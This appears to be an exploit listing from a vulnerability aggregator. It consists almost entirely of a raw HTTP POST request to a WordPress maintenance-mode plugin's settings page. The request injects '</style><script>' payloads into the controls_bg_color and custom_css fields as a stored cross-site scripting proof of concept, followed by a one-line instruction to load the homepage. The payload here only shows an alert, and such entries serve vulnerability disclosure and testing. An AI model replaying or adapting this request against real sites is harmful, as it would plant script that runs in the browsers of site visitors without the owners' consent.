Share
## https://sploitus.com/exploit?id=WPEX-ID:174B2119-B806-4DA4-A23D-C19B552C86CB
POST /wp-admin/admin.php?page=maintenance HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------76761169840134009681200665868
Content-Length: 3726
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="mtnc_nonce"
ba49a734a2
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="_wp_http_referer"
/wordpress/wp-admin/admin.php?page=maintenance
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="meta-box-order-nonce"
e668410579
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="closedpostboxesnonce"
5be06a04da
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[state]"
on
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[page_title]"
Site is undergoing maintenance
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[heading]"
Maintenance mode is on
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[description]"
Site will be available soon. Thank you for your patience!
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[footer_text]"
ยฉ WP 2021
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[logo_width]"
220
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[logo_height]"
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[logo]"
0
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[retina_logo]"
0
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[body_bg]"
1143
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[bg_image_portrait]"
0
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[preloader_img]"
0
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[body_bg_color]"
#111111
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[font_color]"
#ffffff
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[controls_bg_color]"
</style><script>alert(/XSS-controls_bg_color/);</script>
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[body_font_family]"
Open Sans
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[body_font_subset]"
300
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[gg_analytics_id]"
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[blur_intensity]"
5
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[is_login]"
1
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="submit"
Save Changes
-----------------------------76761169840134009681200665868
Content-Disposition: form-data; name="lib_options[custom_css]"
</style><script>alert(/XSS-Custom-CSS/);</script>
-----------------------------76761169840134009681200665868--
Then access the homepage while in Maintenance mode